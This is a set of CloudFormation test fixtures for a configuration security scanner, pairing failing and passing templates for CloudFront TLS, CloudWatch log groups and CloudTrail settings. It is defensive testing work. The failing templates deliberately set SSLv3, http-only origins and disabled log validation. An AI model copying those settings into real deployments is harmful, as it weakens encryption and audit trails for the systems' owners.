tests/cloudformation/checks/resource/aws/example_CloudFrontTLS12/CloudFrontTLS12-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "This template deploys CloudFront Distribution" Resources: cloudfrontdistributionFAILED1: Type: AWS::CloudFront::Distribution Properties: DistributionConfig: Enabled: true CacheBehaviors: - LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value PathPattern: "*" TargetOriginId: "id" ViewerProtocolPolicy: "https-only" DefaultCacheBehavior: LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value TargetOriginId: "id" ViewerProtocolPolicy: "https-only" IPV6Enabled: false Origins: - CustomOriginConfig: OriginKeepaliveTimeout: 60 OriginReadTimeout: 60 OriginProtocolPolicy: "https-only" DomainName: "testing" Id: "id" ViewerCertificate: AcmCertificateArn: "cert-test" MinimumProtocolVersion: SSLv3 SslSupportMethod: sni-only cloudfrontdistributionFAILED2: Type: AWS::CloudFront::Distribution Properties: DistributionConfig: Enabled: true DefaultCacheBehavior: LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value TargetOriginId: "id" ViewerProtocolPolicy: "https-only" IPV6Enabled: false Origins: - CustomOriginConfig: OriginKeepaliveTimeout: 60 OriginReadTimeout: 60 OriginProtocolPolicy: "http-only" DomainName: "testing" Id: "id" cloudfrontdistributionFAILED3: Type: AWS::CloudFront::Distribution Properties: DistributionConfig: Enabled: true CacheBehaviors: - LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value PathPattern: "*" TargetOriginId: "id" ViewerProtocolPolicy: "https-only" DefaultCacheBehavior: LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value TargetOriginId: "id" ViewerProtocolPolicy: "https-only" IPV6Enabled: false Origins: - CustomOriginConfig: OriginKeepaliveTimeout: 60 OriginReadTimeout: 60 OriginProtocolPolicy: "https-only" DomainName: "testing" Id: "id" ViewerCertificate: CloudFrontDefaultCertificate : true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudFrontTLS12/CloudFrontTLS12-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "This template deploys CloudFront Distribution" Resources: cloudfrontdistributionPASSED1: Type: AWS::CloudFront::Distribution Properties: DistributionConfig: Enabled: true CacheBehaviors: - LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value PathPattern: "*" TargetOriginId: "id" ViewerProtocolPolicy: "https-only" DefaultCacheBehavior: LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value TargetOriginId: "id" ViewerProtocolPolicy: "https-only" IPV6Enabled: false Origins: - CustomOriginConfig: OriginKeepaliveTimeout: 60 OriginReadTimeout: 60 OriginProtocolPolicy: "https-only" DomainName: "testing" Id: "id" ViewerCertificate: AcmCertificateArn: "cert-test" MinimumProtocolVersion: TLSv1.2_2018 SslSupportMethod: sni-only cloudfrontdistributionPASSED2: Type: AWS::CloudFront::Distribution Properties: DistributionConfig: Enabled: true CacheBehaviors: - LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value PathPattern: "*" TargetOriginId: "id" ViewerProtocolPolicy: "https-only" DefaultCacheBehavior: LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value TargetOriginId: "id" ViewerProtocolPolicy: "https-only" IPV6Enabled: false Origins: - CustomOriginConfig: OriginKeepaliveTimeout: 60 OriginReadTimeout: 60 OriginProtocolPolicy: "https-only" DomainName: "testing" Id: "id" ViewerCertificate: AcmCertificateArn: "cert-test" MinimumProtocolVersion: TLSv1.2_2019 SslSupportMethod: sni-only cloudfrontdistributionPASSED3: Type: AWS::CloudFront::Distribution Properties: DistributionConfig: Enabled: true CacheBehaviors: - LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value PathPattern: "*" TargetOriginId: "id" ViewerProtocolPolicy: "https-only" DefaultCacheBehavior: LambdaFunctionAssociations: - EventType: origin-request LambdaFunctionARN: string-value TargetOriginId: "id" ViewerProtocolPolicy: "https-only" IPV6Enabled: false Origins: - CustomOriginConfig: OriginKeepaliveTimeout: 60 OriginReadTimeout: 60 OriginProtocolPolicy: "https-only" DomainName: "testing" Id: "id" ViewerCertificate: AcmCertificateArn: "cert-test" MinimumProtocolVersion: TLSv1.2_2021 SslSupportMethod: sni-only cloudfrontdistributionPASSED4: Type: AWS::CloudFront::Distribution Properties: DistributionConfig: Enabled: true Origins: - DomainName: example.com Id: origin1 DefaultCacheBehavior: TargetOriginId: origin1 ViewerProtocolPolicy: redirect-to-https ViewerCertificate: AcmCertificateArn: arn:aws:acm:us-east-1:123456789012:certificate/abc SslSupportMethod: sni-only MinimumProtocolVersion: TLSv1.3_2025 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudWatchLogGroupKMSKey/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Fail: Type: AWS::Logs::LogGroup Properties: LogGroupName: test ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudWatchLogGroupKMSKey/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Pass: Type: AWS::Logs::LogGroup Properties: LogGroupName: test KmsKeyId: arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudWatchLogGroupRetention/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Fail: Type: AWS::Logs::LogGroup Properties: LogGroupName: test ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudWatchLogGroupRetention/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Pass: Type: AWS::Logs::LogGroup Properties: LogGroupName: test RetentionInDays: 3 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudfrontDistributionLogging/CloudfrontDistributionLogging-FAILED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MyCloudFrontDistribution: Type: 'AWS::CloudFront::Distribution' Properties: DistributionConfig: Enabled: True DefaultCacheBehavior: AllowedMethods: - GET - HEAD - OPTIONS CachedMethods: - GET - HEAD - OPTIONS Compress: true DefaultTTL: 3600 ForwardedValues: Cookies: Forward: none QueryString: false MaxTTL: 86400 MinTTL: 60 TargetOriginId: s3origin ViewerProtocolPolicy: 'https-only' Origins: - DomainName: 'awsexamplebucket.s3.us-west-2.amazonaws.com' Id: s3origin S3OriginConfig: OriginAccessIdentity: 'origin-access-identity/cloudfront/CloudFrontOriginAccessIdentity' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudfrontDistributionLogging/CloudfrontDistributionLogging-PASSED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MyCloudFrontDistribution: Type: 'AWS::CloudFront::Distribution' Properties: DistributionConfig: Enabled: True DefaultCacheBehavior: AllowedMethods: - GET - HEAD - OPTIONS CachedMethods: - GET - HEAD - OPTIONS Compress: true DefaultTTL: 3600 ForwardedValues: Cookies: Forward: none QueryString: false MaxTTL: 86400 MinTTL: 60 TargetOriginId: s3origin ViewerProtocolPolicy: 'https-only' Origins: - DomainName: 'awsexamplebucket.s3.us-west-2.amazonaws.com' Id: s3origin S3OriginConfig: OriginAccessIdentity: 'origin-access-identity/cloudfront/CloudFrontOriginAccessIdentity' Logging: Bucket: myawslogbucket.s3.amazonaws.com ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudtrailEncryption/CloudTrailEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Parameters: OperatorEmail: Description: "Email address to notify when new logs are published." Type: String Resources: S3Bucket: DeletionPolicy: Retain Type: AWS::S3::Bucket Properties: {} BucketPolicy: Type: AWS::S3::BucketPolicy Properties: Bucket: Ref: S3Bucket PolicyDocument: Version: "2012-10-17" Statement: - Sid: "AWSCloudTrailAclCheck" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Action: "s3:GetBucketAcl" Resource: !Sub |- arn:aws:s3:::${S3Bucket} - Sid: "AWSCloudTrailWrite" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Action: "s3:PutObject" Resource: !Sub |- arn:aws:s3:::${S3Bucket}/AWSLogs/${AWS::AccountId}/* Condition: StringEquals: s3:x-amz-acl: "bucket-owner-full-control" Topic: Type: AWS::SNS::Topic Properties: Subscription: - Endpoint: Ref: OperatorEmail Protocol: email TopicPolicy: Type: AWS::SNS::TopicPolicy Properties: Topics: - Ref: "Topic" PolicyDocument: Version: "2012-10-17" Statement: - Sid: "AWSCloudTrailSNSPolicy" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Resource: "*" Action: "SNS:Publish" myTrail: DependsOn: - BucketPolicy - TopicPolicy Type: AWS::CloudTrail::Trail Properties: S3BucketName: Ref: S3Bucket EnableLogFileValidation: True #EnableLogFileValidation: False #KMSKeyId: alias/MyAliasName SnsTopicName: Fn::GetAtt: - Topic - TopicName IsLogging: true IsMultiRegionTrail: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudtrailEncryption/CloudTrailEncryption-PASSED.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "acme AWS CloudTrail and Config Security Audit Integration", "Mappings": { "acmeEnvironment": { "env": { "organizationID": "123456789", "SnsNameForConfirmCustomerDeployment": "sns_name" } } }, "Metadata": { "AWS::CloudFormation::Interface": { "ParameterGroups": [ { "Label": { "default": "Required Parameters" }, "Parameters": [ "CustomerName", "ResourceNamePrefix", "ExternalID", "LogFilesExpiration", "CreateTrail" ] }, { "Label": { "default": "New Trail Options" }, "Parameters": [ "NewTrailLogFilePrefix" ] }, { "Label": { "default": "Existing Trail Setup" }, "Parameters": [ "ExistingTrailBucketName", "ExistingTrailTopicArn", "SecurityAccountId" ] } ], "ParameterLabels": { "ResourceNamePrefix": { "default": "Resource name prefix" }, "CustomerName": { "default": "Customer name" }, "ExternalID": { "default": "ExternalID" }, "CreateTrail": { "default": "Create new trail?" }, "NewTrailLogFilePrefix": { "default": "Log file prefix" }, "ExistingTrailBucketName": { "default": "Bucket name" }, "ExistingTrailTopicArn": { "default": "Topic ARN" }, "LogFilesExpiration": { "default": "LifecycleConfigurationExpirationInDays" } } } }, "Parameters": { "ResourceNamePrefix": { "Description": "Names of resources created by the stack will be prefixed with this value to ensure uniqueness.", "Type": "String", "Default": "acme", "MinLength": "1", "MaxLength": "32", "AllowedPattern": "^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$", "ConstraintDescription": "Invalid resource name prefix value. Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$" }, "CustomerName": { "Description": "Customer name as defined on acme Signup", "Type": "String", "MinLength": "2", "MaxLength": "1224", "AllowedPattern": "[a-zA-Z0-9]*", "ConstraintDescription": "must contain only alphanumeric characters." }, "ExternalID": { "Description": "The cross-account access role created by the stack will use this value for its ExternalID.", "Type": "String", "MinLength": "2", "MaxLength": "1224", "AllowedPattern": "[\\w+=,.@:\\/-]*", "ConstraintDescription": "Invalid ExternalID value. Must match pattern [\\w+=,.@:\\/-]*" }, "CreateTrail": { "Description": "You can have a new multi-region CloudTrail trail be created (along with a new S3 bucket and SNS topic), or use your existing trail setup.", "Type": "String", "AllowedValues": [ "Yes", "No" ], "Default": "Yes" }, "NewTrailLogFilePrefix": { "Description": "If you want the new trail to prefix its log file names, provide the prefix to use. Otherwise, leave it blank.", "Default": "", "Type": "String", "MaxLength": "64", "AllowedPattern": "[a-zA-Z0-9-_.!()* ]*", "ConstraintDescription": "Invalid log file prefix. Must match pattern [a-zA-Z0-9-_.!()* ]*" }, "ExistingTrailBucketName": { "Description": "Provide the name of the S3 bucket for your existing trail setup. The bucket must be owned by the current account.", "Default": "", "Type": "String", "MaxLength": "128" }, "ExistingTrailTopicArn": { "Description": "Provide the ARN of the SNS topic for your existing trail setup. The SNS must be subscribe to the existing bucket", "Default": "", "Type": "String", "MaxLength": "256" }, "SecurityAccountId": { "Description": "In case of an existing CloudTrail trail saving logs to another account, please provide the account ID for that account", "Default": "", "Type": "String", "AllowedPattern": "\\d{12}|\\d{0}", "MaxLength": "12" }, "LogFilesExpiration": { "Description": "Number of days log files will be saved for. After this many days, log files will be deleted", "Type": "Number", "Default": "30", "MinValue": "7", "MaxValue": "365" } }, "Conditions": { "CreateNewTrail": { "Fn::Equals": [ { "Ref": "CreateTrail" }, "Yes" ] }, "UseExistingTrail": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "CreateTrail" }, "Yes" ] } ] }, "NewTrailUsesLogFilePrefix": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "NewTrailLogFilePrefix" }, "" ] } ] }, "SecurityAccountExists": { "Fn::Equals": [ { "Ref": "SecurityAccountId" }, "" ] } }, "Resources": { "acmeCWSBucket": { "Condition": "CreateNewTrail", "Type": "AWS::S3::Bucket", "DeletionPolicy": "Retain", "Properties": { "BucketName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws-", { "Ref": "AWS::AccountId" } ] ] }, "VersioningConfiguration": { "Status": "Enabled" }, "LifecycleConfiguration": { "Rules": [ { "Id": "Delete old log files", "Status": "Enabled", "ExpirationInDays": { "Ref": "LogFilesExpiration" }, "NoncurrentVersionExpirationInDays": { "Ref": "LogFilesExpiration" } } ] }, "BucketEncryption": { "ServerSideEncryptionConfiguration": [ { "ServerSideEncryptionByDefault": { "Fn::If": [ "CreateNewTrail", { "KMSMasterKeyID": { "Ref": "CloudtrailKMSKeyAlias" }, "SSEAlgorithm": "aws:kms" }, { "SSEAlgorithm": "AES256" } ] } } ] } } }, "acmeCWSBucketPolicy": { "Condition": "CreateNewTrail", "Type": "AWS::S3::BucketPolicy", "Properties": { "Bucket": { "Ref": "acmeCWSBucket" }, "PolicyDocument": { "Version": "2012-10-17", "Id": "acmeCWSBucketPolicy", "Statement": [ { "Sid": "CloudTrailAclCheck", "Action": "s3:GetBucketAcl", "Effect": "Allow", "Resource": { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" } ] ] }, "Principal": { "Service": "cloudtrail.amazonaws.com" } }, { "Sid": "CloudTrailWrite", "Action": "s3:PutObject", "Effect": "Allow", "Resource": { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Fn::Join": [ "", [ "/", { "Ref": "NewTrailLogFilePrefix" } ] ] }, "" ] }, "/AWSLogs/", { "Ref": "AWS::AccountId" }, "/*" ] ] }, "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Condition": { "StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }, "Bool": { "aws:SecureTransport": "true" } } }, { "Sid": "DenyUnsecureTransport", "Action": "s3:*", "Effect": "Deny", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" }, "/*" ] ] }, { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" } ] ] } ], "Principal": "*", "Condition": { "Bool": { "aws:SecureTransport": "false" } } } ] } } }, "acmeCWSTopic": { "Condition": "CreateNewTrail", "Type": "AWS::SNS::Topic", "Properties": { "TopicName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] } } }, "acmeCWSTopicPolicy": { "Condition": "CreateNewTrail", "Type": "AWS::SNS::TopicPolicy", "Properties": { "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "CloudTrailPublish", "Action": "SNS:Publish", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Resource": "*" } ] }, "Topics": [ { "Ref": "acmeCWSTopic" } ] } }, "acmeCWSTrail": { "Condition": "CreateNewTrail", "Type": "AWS::CloudTrail::Trail", "DependsOn": [ "acmeCWSTopicPolicy", "acmeCWSBucketPolicy" ], "Properties": { "TrailName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] }, "S3BucketName": { "Ref": "acmeCWSBucket" }, "S3KeyPrefix": { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, { "Ref": "AWS::NoValue" } ] }, "SnsTopicName": { "Fn::GetAtt": [ "acmeCWSTopic", "TopicName" ] }, "KMSKeyId": { "Ref": "CloudtrailKMSKeyAlias" }, "EnableLogFileValidation": true, "IncludeGlobalServiceEvents": true, "IsMultiRegionTrail": true, "IsLogging": true } }, "CloudtrailKMSKey": { "Condition": "CreateNewTrail", "Type": "AWS::KMS::Key", "Properties": { "Description": "KMS for Cloudtrail, shared with Lacework and acme", "Enabled": true, "EnableKeyRotation": true, "KeyPolicy": { "Version": "2012-10-17", "Id": "key-default-1", "Statement": [ { "Sid": "Enable owner account permissions", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Ref": "AWS::AccountId" }, ":root" ] ] } }, "Action": "kms:*", "Resource": "*" }, { "Sid": "Allow CloudTrail to encrypt logs", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": [ "kms:GenerateDataKey*", "kms:ReEncryptFrom" ], "Resource": "*", "Condition": { "StringLike": { "kms:EncryptionContext:aws:cloudtrail:arn": { "Fn::Join": [ "", [ "arn:aws:cloudtrail:*:", { "Ref": "AWS::AccountId" }, ":trail/*" ] ] } } } }, { "Sid": "Allow CloudTrail to describe key", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": "kms:DescribeKey", "Resource": "*" }, { "Sid": "Enable acme & Lacework log decryption", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "kms:Decrypt" ], "Resource": "*", "Condition": { "StringEquals": { "kms:CallerAccount": { "Ref": "AWS::AccountId" } }, "StringLike": { "kms:EncryptionContext:aws:cloudtrail:arn": { "Fn::Join": [ "", [ "arn:aws:cloudtrail:*:", { "Ref": "AWS::AccountId" }, ":trail/*" ] ] } } } } ] }, "KeyUsage": "ENCRYPT_DECRYPT" }, "Metadata": { "AWS::CloudFormation::Designer": { "id": "787370fe-e579-465f-98c5-f1c84f79a810" } } }, "CloudtrailKMSKeyAlias": { "Condition": "CreateNewTrail", "Type": "AWS::KMS::Alias", "Properties": { "AliasName": { "Fn::Join": [ "", [ "alias/", { "Ref": "ResourceNamePrefix" }, "-CloudtrailKey" ] ] }, "TargetKeyId": { "Ref": "CloudtrailKMSKey" } } }, "acmeCWSQueue": { "Type": "AWS::SQS::Queue", "Properties": { "QueueName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] }, "VisibilityTimeout": 43200 } }, "acmeCWSQueuePolicy": { "Type": "AWS::SQS::QueuePolicy", "Properties": { "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "AwsSnsAccess", "Effect": "Allow", "Principal": "*", "Action": [ "sqs:SendMessage" ], "Resource": "*", "Condition": { "ArnEquals": { "aws:SourceArn": { "Fn::If": [ "CreateNewTrail", { "Ref": "acmeCWSTopic" }, { "Ref": "ExistingTrailTopicArn" } ] } } } }, { "Sid": "acmeSqsAccess", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":root" ] ] } }, "Action": [ "sqs:ReceiveMessage", "sqs:DeleteMessage", "sqs:GetQueueAttributes", "sqs:GetQueueUrl", "sqs:ListDeadLetterSourceQueues", "sqs:ChangeMessageVisibility" ], "Resource": "*" } ] }, "Queues": [ { "Ref": "acmeCWSQueue" } ] } }, "acmeCWSSubscription": { "Type": "AWS::SNS::Subscription", "Properties": { "Endpoint": { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] }, "Protocol": "sqs", "TopicArn": { "Fn::If": [ "CreateNewTrail", { "Ref": "acmeCWSTopic" }, { "Ref": "ExistingTrailTopicArn" } ] } } }, "acmeCWSSACrossAccountAccessRole": { "Type": "AWS::IAM::Role", "Properties": { "RoleName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecwssarole" ] ] }, "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":root" ] ] } }, "Condition": { "StringEquals": { "sts:ExternalId": { "Ref": "ExternalID" } } } } ] }, "ManagedPolicyArns": [ "arn:aws:iam::aws:policy/SecurityAudit", "arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess" ], "Policies": [ { "PolicyName": "acmeCWSPolicy", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "ConsumeNotifications", "Action": [ "sqs:GetQueueAttributes", "sqs:GetQueueUrl", "sqs:DeleteMessage", "sqs:ReceiveMessage" ], "Effect": "Allow", "Resource": [ { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] } ] }, { "Sid": "ListLogFiles", "Action": [ "s3:ListBucket" ], "Effect": "Allow", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Fn::If": [ "UseExistingTrail", { "Ref": "ExistingTrailBucketName" }, { "Ref": "acmeCWSBucket" } ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, "/AWSLogs/*" ] ] } ], "Condition": { "StringLike": { "s3:prefix": [ { "Fn::Join": [ "", [ { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, "AWSLogs/*" ] ] } ] } } }, { "Sid": "ReadLogFiles", "Action": [ "s3:Get*" ], "Effect": "Allow", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Fn::If": [ "UseExistingTrail", { "Ref": "ExistingTrailBucketName" }, { "Ref": "acmeCWSBucket" } ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, "/AWSLogs/*" ] ] } ] }, { "Sid": "GetAccountAlias", "Action": [ "iam:ListAccountAliases" ], "Effect": "Allow", "Resource": "*" }, { "Sid": "GetMetricDataAccess", "Action": [ "cloudwatch:GetMetricData" ], "Effect": "Allow", "Resource": "*" } ] } } ] } }, "acmeSnsCustomResource": { "Type": "Custom::acmeSnsCustomResource", "DependsOn": [ "acmeCWSQueuePolicy" ], "Properties": { "Type": "AWS_CT_CFG", "ServiceToken": { "Fn::Join": [ "", [ "arn:aws:sns:", { "Ref": "AWS::Region" }, ":", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":", { "Fn::FindInMap": [ "acmeEnvironment", "env", "SnsNameForConfirmCustomerDeployment" ] } ] ] }, "IntegrationName": { "Ref": "AWS::StackName" }, "CrossAccountRoleArn": { "Fn::GetAtt": [ "acmeCWSSACrossAccountAccessRole", "Arn" ] }, "ExternalId": { "Ref": "ExternalID" }, "SqsQueueUrl": { "Ref": "acmeCWSQueue" }, "CustomerName": { "Ref": "CustomerName" }, "DeploymentRegion": { "Ref": "AWS::Region" }, "ActionType": "CustomerSignUp", "Account": "acme", "TemplateVersion": "1", "AWSAccountId": { "Ref": "AWS::AccountId" }, "SecurityAccountId": { "Fn::If": [ "SecurityAccountExists", { "Ref": "AWS::AccountId" }, { "Ref": "SecurityAccountId" } ] } } } }, "Outputs": { "RoleARN": { "Description": "Cross-account access role ARN to share with acme for CloudTrail integration", "Value": { "Fn::GetAtt": [ "acmeCWSSACrossAccountAccessRole", "Arn" ] } }, "CustomerName": { "Description": "Customer name as defined on acme Signup", "Value": { "Ref": "CustomerName" } }, "SQSQueueURL": { "Description": "SQS queue URL to share with acme for CloudTrail Integration", "Value": { "Ref": "acmeCWSQueue" } }, "SQSQueueARN": { "Description": "SQS queue ARN to share with acme for CloudTrail Integration", "Value": { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] } }, "DeploymentRegion": { "Description": "The region that the customer installed this cloud-formation template", "Value": { "Ref": "AWS::Region" } }, "TemplateVersion": { "Description": "acme.io template version", "Value": "1" } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudtrailEncryption/CloudTrailEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Parameters: OperatorEmail: Description: "Email address to notify when new logs are published." Type: String Resources: S3Bucket: DeletionPolicy: Retain Type: AWS::S3::Bucket Properties: {} BucketPolicy: Type: AWS::S3::BucketPolicy Properties: Bucket: Ref: S3Bucket PolicyDocument: Version: "2012-10-17" Statement: - Sid: "AWSCloudTrailAclCheck" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Action: "s3:GetBucketAcl" Resource: !Sub |- arn:aws:s3:::${S3Bucket} - Sid: "AWSCloudTrailWrite" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Action: "s3:PutObject" Resource: !Sub |- arn:aws:s3:::${S3Bucket}/AWSLogs/${AWS::AccountId}/* Condition: StringEquals: s3:x-amz-acl: "bucket-owner-full-control" Topic: Type: AWS::SNS::Topic Properties: Subscription: - Endpoint: Ref: OperatorEmail Protocol: email TopicPolicy: Type: AWS::SNS::TopicPolicy Properties: Topics: - Ref: "Topic" PolicyDocument: Version: "2012-10-17" Statement: - Sid: "AWSCloudTrailSNSPolicy" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Resource: "*" Action: "SNS:Publish" myTrail: DependsOn: - BucketPolicy - TopicPolicy Type: AWS::CloudTrail::Trail Properties: S3BucketName: Ref: S3Bucket EnableLogFileValidation: True #EnableLogFileValidation: False KMSKeyId: alias/MyAliasName SnsTopicName: Fn::GetAtt: - Topic - TopicName IsLogging: true IsMultiRegionTrail: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudtrailLogValidation/CloudTrailLogValidation-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Parameters: OperatorEmail: Description: "Email address to notify when new logs are published." Type: String Resources: S3Bucket: DeletionPolicy: Retain Type: AWS::S3::Bucket Properties: {} BucketPolicy: Type: AWS::S3::BucketPolicy Properties: Bucket: Ref: S3Bucket PolicyDocument: Version: "2012-10-17" Statement: - Sid: "AWSCloudTrailAclCheck" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Action: "s3:GetBucketAcl" Resource: !Sub |- arn:aws:s3:::${S3Bucket} - Sid: "AWSCloudTrailWrite" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Action: "s3:PutObject" Resource: !Sub |- arn:aws:s3:::${S3Bucket}/AWSLogs/${AWS::AccountId}/* Condition: StringEquals: s3:x-amz-acl: "bucket-owner-full-control" Topic: Type: AWS::SNS::Topic Properties: Subscription: - Endpoint: Ref: OperatorEmail Protocol: email TopicPolicy: Type: AWS::SNS::TopicPolicy Properties: Topics: - Ref: "Topic" PolicyDocument: Version: "2012-10-17" Statement: - Sid: "AWSCloudTrailSNSPolicy" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Resource: "*" Action: "SNS:Publish" myTrail: DependsOn: - BucketPolicy - TopicPolicy Type: AWS::CloudTrail::Trail Properties: S3BucketName: Ref: S3Bucket #EnableLogFileValidation: True EnableLogFileValidation: False KMSKeyId: alias/MyAliasName SnsTopicName: Fn::GetAtt: - Topic - TopicName IsLogging: true IsMultiRegionTrail: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudtrailLogValidation/CloudTrailLogValidation-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Parameters: OperatorEmail: Description: "Email address to notify when new logs are published." Type: String Resources: S3Bucket: DeletionPolicy: Retain Type: AWS::S3::Bucket Properties: {} BucketPolicy: Type: AWS::S3::BucketPolicy Properties: Bucket: Ref: S3Bucket PolicyDocument: Version: "2012-10-17" Statement: - Sid: "AWSCloudTrailAclCheck" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Action: "s3:GetBucketAcl" Resource: !Sub |- arn:aws:s3:::${S3Bucket} - Sid: "AWSCloudTrailWrite" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Action: "s3:PutObject" Resource: !Sub |- arn:aws:s3:::${S3Bucket}/AWSLogs/${AWS::AccountId}/* Condition: StringEquals: s3:x-amz-acl: "bucket-owner-full-control" Topic: Type: AWS::SNS::Topic Properties: Subscription: - Endpoint: Ref: OperatorEmail Protocol: email TopicPolicy: Type: AWS::SNS::TopicPolicy Properties: Topics: - Ref: "Topic" PolicyDocument: Version: "2012-10-17" Statement: - Sid: "AWSCloudTrailSNSPolicy" Effect: "Allow" Principal: Service: "cloudtrail.amazonaws.com" Resource: "*" Action: "SNS:Publish" myTrail: DependsOn: - BucketPolicy - TopicPolicy Type: AWS::CloudTrail::Trail Properties: S3BucketName: Ref: S3Bucket EnableLogFileValidation: True #EnableLogFileValidation: False KMSKeyId: alias/MyAliasName SnsTopicName: Fn::GetAtt: - Topic - TopicName IsLogging: true IsMultiRegionTrail: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudtrailMultiRegion/CloudtrailMultiRegion-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MyTrail0: Type: AWS::CloudTrail::Trail Properties: IsLogging: True IsMultiRegionTrail: False S3BucketName: String MyTrail1: Type: AWS::CloudTrail::Trail Properties: IsLogging: True 